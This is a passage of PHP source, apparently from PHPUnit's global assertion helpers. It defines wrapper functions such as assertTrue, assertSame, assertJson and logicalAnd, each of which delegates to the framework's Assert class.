$file, string $message = ''): void { Assert::assertFileIsNotReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileIsWritable')) { /** * Asserts that a file exists and is writable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileIsWritable */ function assertFileIsWritable(string $file, string $message = ''): void { Assert::assertFileIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileIsNotWritable')) { /** * Asserts that a file exists and is not writable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileIsNotWritable */ function assertFileIsNotWritable(string $file, string $message = ''): void { Assert::assertFileIsNotWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertTrue')) { /** * Asserts that a condition is true. * * @throws ExpectationFailedException * * @psalm-assert true $condition * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertTrue */ function assertTrue(mixed $condition, string $message = ''): void { Assert::assertTrue(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotTrue')) { /** * Asserts that a condition is not true. * * @throws ExpectationFailedException * * @psalm-assert !true $condition * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotTrue */ function assertNotTrue(mixed $condition, string $message = ''): void { Assert::assertNotTrue(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFalse')) { /** * Asserts that a condition is false. * * @throws ExpectationFailedException * * @psalm-assert false $condition * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFalse */ function assertFalse(mixed $condition, string $message = ''): void { Assert::assertFalse(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotFalse')) { /** * Asserts that a condition is not false. * * @throws ExpectationFailedException * * @psalm-assert !false $condition * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotFalse */ function assertNotFalse(mixed $condition, string $message = ''): void { Assert::assertNotFalse(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNull')) { /** * Asserts that a variable is null. * * @throws ExpectationFailedException * * @psalm-assert null $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNull */ function assertNull(mixed $actual, string $message = ''): void { Assert::assertNull(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotNull')) { /** * Asserts that a variable is not null. * * @throws ExpectationFailedException * * @psalm-assert !null $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotNull */ function assertNotNull(mixed $actual, string $message = ''): void { Assert::assertNotNull(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFinite')) { /** * Asserts that a variable is finite. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFinite */ function assertFinite(mixed $actual, string $message = ''): void { Assert::assertFinite(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertInfinite')) { /** * Asserts that a variable is infinite. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertInfinite */ function assertInfinite(mixed $actual, string $message = ''): void { Assert::assertInfinite(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNan')) { /** * Asserts that a variable is nan. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNan */ function assertNan(mixed $actual, string $message = ''): void { Assert::assertNan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertObjectHasProperty')) { /** * Asserts that an object has a specified property. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertObjectHasProperty */ function assertObjectHasProperty(string $propertyName, object $object, string $message = ''): void { Assert::assertObjectHasProperty(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertObjectNotHasProperty')) { /** * Asserts that an object does not have a specified property. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertObjectNotHasProperty */ function assertObjectNotHasProperty(string $propertyName, object $object, string $message = ''): void { Assert::assertObjectNotHasProperty(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertSame')) { /** * Asserts that two variables have the same type and value. * Used on objects, it asserts that two variables reference * the same object. * * @psalm-template ExpectedType * * @psalm-param ExpectedType $expected * * @throws ExpectationFailedException * * @psalm-assert =ExpectedType $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertSame */ function assertSame(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertSame(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotSame')) { /** * Asserts that two variables do not have the same type and value. * Used on objects, it asserts that two variables do not reference * the same object. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotSame */ function assertNotSame(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertNotSame(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertInstanceOf')) { /** * Asserts that a variable is of a given type. * * @psalm-template ExpectedType of object * * @psalm-param class-string $expected * * @throws Exception * @throws ExpectationFailedException * @throws UnknownClassOrInterfaceException * * @psalm-assert =ExpectedType $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertInstanceOf */ function assertInstanceOf(string $expected, mixed $actual, string $message = ''): void { Assert::assertInstanceOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotInstanceOf')) { /** * Asserts that a variable is not of a given type. * * @psalm-template ExpectedType of object * * @psalm-param class-string $expected * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !ExpectedType $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotInstanceOf */ function assertNotInstanceOf(string $expected, mixed $actual, string $message = ''): void { Assert::assertNotInstanceOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsArray')) { /** * Asserts that a variable is of type array. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert array $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsArray */ function assertIsArray(mixed $actual, string $message = ''): void { Assert::assertIsArray(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsBool')) { /** * Asserts that a variable is of type bool. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert bool $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsBool */ function assertIsBool(mixed $actual, string $message = ''): void { Assert::assertIsBool(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsFloat')) { /** * Asserts that a variable is of type float. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert float $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsFloat */ function assertIsFloat(mixed $actual, string $message = ''): void { Assert::assertIsFloat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsInt')) { /** * Asserts that a variable is of type int. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert int $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsInt */ function assertIsInt(mixed $actual, string $message = ''): void { Assert::assertIsInt(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNumeric')) { /** * Asserts that a variable is of type numeric. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert numeric $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNumeric */ function assertIsNumeric(mixed $actual, string $message = ''): void { Assert::assertIsNumeric(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsObject')) { /** * Asserts that a variable is of type object. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert object $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsObject */ function assertIsObject(mixed $actual, string $message = ''): void { Assert::assertIsObject(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsResource')) { /** * Asserts that a variable is of type resource. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert resource $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsResource */ function assertIsResource(mixed $actual, string $message = ''): void { Assert::assertIsResource(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsClosedResource')) { /** * Asserts that a variable is of type resource and is closed. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert resource $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsClosedResource */ function assertIsClosedResource(mixed $actual, string $message = ''): void { Assert::assertIsClosedResource(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsString')) { /** * Asserts that a variable is of type string. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert string $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsString */ function assertIsString(mixed $actual, string $message = ''): void { Assert::assertIsString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsScalar')) { /** * Asserts that a variable is of type scalar. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert scalar $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsScalar */ function assertIsScalar(mixed $actual, string $message = ''): void { Assert::assertIsScalar(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsCallable')) { /** * Asserts that a variable is of type callable. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert callable $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsCallable */ function assertIsCallable(mixed $actual, string $message = ''): void { Assert::assertIsCallable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsIterable')) { /** * Asserts that a variable is of type iterable. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert iterable $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsIterable */ function assertIsIterable(mixed $actual, string $message = ''): void { Assert::assertIsIterable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotArray')) { /** * Asserts that a variable is not of type array. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !array $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotArray */ function assertIsNotArray(mixed $actual, string $message = ''): void { Assert::assertIsNotArray(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotBool')) { /** * Asserts that a variable is not of type bool. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !bool $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotBool */ function assertIsNotBool(mixed $actual, string $message = ''): void { Assert::assertIsNotBool(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotFloat')) { /** * Asserts that a variable is not of type float. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !float $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotFloat */ function assertIsNotFloat(mixed $actual, string $message = ''): void { Assert::assertIsNotFloat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotInt')) { /** * Asserts that a variable is not of type int. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !int $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotInt */ function assertIsNotInt(mixed $actual, string $message = ''): void { Assert::assertIsNotInt(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotNumeric')) { /** * Asserts that a variable is not of type numeric. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !numeric $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotNumeric */ function assertIsNotNumeric(mixed $actual, string $message = ''): void { Assert::assertIsNotNumeric(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotObject')) { /** * Asserts that a variable is not of type object. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !object $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotObject */ function assertIsNotObject(mixed $actual, string $message = ''): void { Assert::assertIsNotObject(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotResource')) { /** * Asserts that a variable is not of type resource. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !resource $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotResource */ function assertIsNotResource(mixed $actual, string $message = ''): void { Assert::assertIsNotResource(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotClosedResource')) { /** * Asserts that a variable is not of type resource. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !resource $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotClosedResource */ function assertIsNotClosedResource(mixed $actual, string $message = ''): void { Assert::assertIsNotClosedResource(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotString')) { /** * Asserts that a variable is not of type string. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !string $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotString */ function assertIsNotString(mixed $actual, string $message = ''): void { Assert::assertIsNotString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotScalar')) { /** * Asserts that a variable is not of type scalar. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !scalar $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotScalar */ function assertIsNotScalar(mixed $actual, string $message = ''): void { Assert::assertIsNotScalar(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotCallable')) { /** * Asserts that a variable is not of type callable. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !callable $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotCallable */ function assertIsNotCallable(mixed $actual, string $message = ''): void { Assert::assertIsNotCallable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotIterable')) { /** * Asserts that a variable is not of type iterable. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !iterable $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotIterable */ function assertIsNotIterable(mixed $actual, string $message = ''): void { Assert::assertIsNotIterable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertMatchesRegularExpression')) { /** * Asserts that a string matches a given regular expression. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertMatchesRegularExpression */ function assertMatchesRegularExpression(string $pattern, string $string, string $message = ''): void { Assert::assertMatchesRegularExpression(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDoesNotMatchRegularExpression')) { /** * Asserts that a string does not match a given regular expression. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDoesNotMatchRegularExpression */ function assertDoesNotMatchRegularExpression(string $pattern, string $string, string $message = ''): void { Assert::assertDoesNotMatchRegularExpression(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertSameSize')) { /** * Assert that the size of two arrays (or `Countable` or `Traversable` objects) * is the same. * * @throws Exception * @throws ExpectationFailedException * @throws GeneratorNotSupportedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertSameSize */ function assertSameSize(Countable|iterable $expected, Countable|iterable $actual, string $message = ''): void { Assert::assertSameSize(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotSameSize')) { /** * Assert that the size of two arrays (or `Countable` or `Traversable` objects) * is not the same. * * @throws Exception * @throws ExpectationFailedException * @throws GeneratorNotSupportedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotSameSize */ function assertNotSameSize(Countable|iterable $expected, Countable|iterable $actual, string $message = ''): void { Assert::assertNotSameSize(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringContainsStringIgnoringLineEndings')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringContainsStringIgnoringLineEndings */ function assertStringContainsStringIgnoringLineEndings(string $needle, string $haystack, string $message = ''): void { Assert::assertStringContainsStringIgnoringLineEndings(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEqualsStringIgnoringLineEndings')) { /** * Asserts that two strings are equal except for line endings. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEqualsStringIgnoringLineEndings */ function assertStringEqualsStringIgnoringLineEndings(string $expected, string $actual, string $message = ''): void { Assert::assertStringEqualsStringIgnoringLineEndings(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileMatchesFormat')) { /** * Asserts that a string matches a given format string. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileMatchesFormat */ function assertFileMatchesFormat(string $format, string $actualFile, string $message = ''): void { Assert::assertFileMatchesFormat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileMatchesFormatFile')) { /** * Asserts that a string matches a given format string. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileMatchesFormatFile */ function assertFileMatchesFormatFile(string $formatFile, string $actualFile, string $message = ''): void { Assert::assertFileMatchesFormatFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringMatchesFormat')) { /** * Asserts that a string matches a given format string. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringMatchesFormat */ function assertStringMatchesFormat(string $format, string $string, string $message = ''): void { Assert::assertStringMatchesFormat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotMatchesFormat')) { /** * Asserts that a string does not match a given format string. * * @throws ExpectationFailedException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5472 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotMatchesFormat */ function assertStringNotMatchesFormat(string $format, string $string, string $message = ''): void { Assert::assertStringNotMatchesFormat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringMatchesFormatFile')) { /** * Asserts that a string matches a given format file. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringMatchesFormatFile */ function assertStringMatchesFormatFile(string $formatFile, string $string, string $message = ''): void { Assert::assertStringMatchesFormatFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotMatchesFormatFile')) { /** * Asserts that a string does not match a given format string. * * @throws ExpectationFailedException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5472 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotMatchesFormatFile */ function assertStringNotMatchesFormatFile(string $formatFile, string $string, string $message = ''): void { Assert::assertStringNotMatchesFormatFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringStartsWith')) { /** * Asserts that a string starts with a given prefix. * * @psalm-param non-empty-string $prefix * * @throws ExpectationFailedException * @throws InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringStartsWith */ function assertStringStartsWith(string $prefix, string $string, string $message = ''): void { Assert::assertStringStartsWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringStartsNotWith')) { /** * Asserts that a string starts not with a given prefix. * * @psalm-param non-empty-string $prefix * * @throws ExpectationFailedException * @throws InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringStartsNotWith */ function assertStringStartsNotWith(string $prefix, string $string, string $message = ''): void { Assert::assertStringStartsNotWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringContainsString')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringContainsString */ function assertStringContainsString(string $needle, string $haystack, string $message = ''): void { Assert::assertStringContainsString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringContainsStringIgnoringCase')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringContainsStringIgnoringCase */ function assertStringContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void { Assert::assertStringContainsStringIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotContainsString')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotContainsString */ function assertStringNotContainsString(string $needle, string $haystack, string $message = ''): void { Assert::assertStringNotContainsString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotContainsStringIgnoringCase')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotContainsStringIgnoringCase */ function assertStringNotContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void { Assert::assertStringNotContainsStringIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEndsWith')) { /** * Asserts that a string ends with a given suffix. * * @psalm-param non-empty-string $suffix * * @throws ExpectationFailedException * @throws InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEndsWith */ function assertStringEndsWith(string $suffix, string $string, string $message = ''): void { Assert::assertStringEndsWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEndsNotWith')) { /** * Asserts that a string ends not with a given suffix. * * @psalm-param non-empty-string $suffix * * @throws ExpectationFailedException * @throws InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEndsNotWith */ function assertStringEndsNotWith(string $suffix, string $string, string $message = ''): void { Assert::assertStringEndsNotWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlFileEqualsXmlFile')) { /** * Asserts that two XML files are equal. * * @throws Exception * @throws ExpectationFailedException * @throws XmlException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlFileEqualsXmlFile */ function assertXmlFileEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void { Assert::assertXmlFileEqualsXmlFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlFileNotEqualsXmlFile')) { /** * Asserts that two XML files are not equal. * * @throws \PHPUnit\Util\Exception * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlFileNotEqualsXmlFile */ function assertXmlFileNotEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void { Assert::assertXmlFileNotEqualsXmlFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlStringEqualsXmlFile')) { /** * Asserts that two XML documents are equal. * * @throws ExpectationFailedException * @throws XmlException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlStringEqualsXmlFile */ function assertXmlStringEqualsXmlFile(string $expectedFile, string $actualXml, string $message = ''): void { Assert::assertXmlStringEqualsXmlFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlStringNotEqualsXmlFile')) { /** * Asserts that two XML documents are not equal. * * @throws ExpectationFailedException * @throws XmlException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlStringNotEqualsXmlFile */ function assertXmlStringNotEqualsXmlFile(string $expectedFile, string $actualXml, string $message = ''): void { Assert::assertXmlStringNotEqualsXmlFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlStringEqualsXmlString')) { /** * Asserts that two XML documents are equal. * * @throws ExpectationFailedException * @throws XmlException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlStringEqualsXmlString */ function assertXmlStringEqualsXmlString(string $expectedXml, string $actualXml, string $message = ''): void { Assert::assertXmlStringEqualsXmlString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlStringNotEqualsXmlString')) { /** * Asserts that two XML documents are not equal. * * @throws ExpectationFailedException * @throws XmlException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlStringNotEqualsXmlString */ function assertXmlStringNotEqualsXmlString(string $expectedXml, string $actualXml, string $message = ''): void { Assert::assertXmlStringNotEqualsXmlString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertThat')) { /** * Evaluates a PHPUnit\Framework\Constraint matcher object. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertThat */ function assertThat(mixed $value, Constraint $constraint, string $message = ''): void { Assert::assertThat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJson')) { /** * Asserts that a string is a valid JSON string. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJson */ function assertJson(string $actual, string $message = ''): void { Assert::assertJson(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonStringEqualsJsonString')) { /** * Asserts that two given JSON encoded objects or arrays are equal. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonStringEqualsJsonString */ function assertJsonStringEqualsJsonString(string $expectedJson, string $actualJson, string $message = ''): void { Assert::assertJsonStringEqualsJsonString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonStringNotEqualsJsonString')) { /** * Asserts that two given JSON encoded objects or arrays are not equal. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonStringNotEqualsJsonString */ function assertJsonStringNotEqualsJsonString(string $expectedJson, string $actualJson, string $message = ''): void { Assert::assertJsonStringNotEqualsJsonString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonStringEqualsJsonFile')) { /** * Asserts that the generated JSON encoded object and the content of the given file are equal. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonStringEqualsJsonFile */ function assertJsonStringEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void { Assert::assertJsonStringEqualsJsonFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonStringNotEqualsJsonFile')) { /** * Asserts that the generated JSON encoded object and the content of the given file are not equal. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonStringNotEqualsJsonFile */ function assertJsonStringNotEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void { Assert::assertJsonStringNotEqualsJsonFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonFileEqualsJsonFile')) { /** * Asserts that two JSON files are equal. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonFileEqualsJsonFile */ function assertJsonFileEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void { Assert::assertJsonFileEqualsJsonFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonFileNotEqualsJsonFile')) { /** * Asserts that two JSON files are not equal. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonFileNotEqualsJsonFile */ function assertJsonFileNotEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void { Assert::assertJsonFileNotEqualsJsonFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\logicalAnd')) { function logicalAnd(mixed ...$constraints): LogicalAnd { return Assert::logicalAnd(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\logicalOr')) { function logicalOr(mixed ...$constraints): LogicalOr { return Assert::logicalOr(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\logicalNot')) { function logicalNot(Constraint $constraint): LogicalNot { return Assert::logicalNot(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\logicalXor')) { function logicalXor(mixed ...$constraints): LogicalXor { return Assert::logicalXor(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\anything')) { function anything(): IsAnything { return Assert::anything(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isTrue')) { function isTrue(): IsTrue { return Assert::isTrue(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isFalse')) { function isFalse(): IsFalse { return Assert::isFalse(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isJson')) { function isJson(): IsJson { return Assert::isJson(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isNull')) { function isNull(): IsNull { return Assert::isNull(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isFinite')) { function isFinite(): IsFinite { return Assert::isFinite(...func_get_args()); } } if 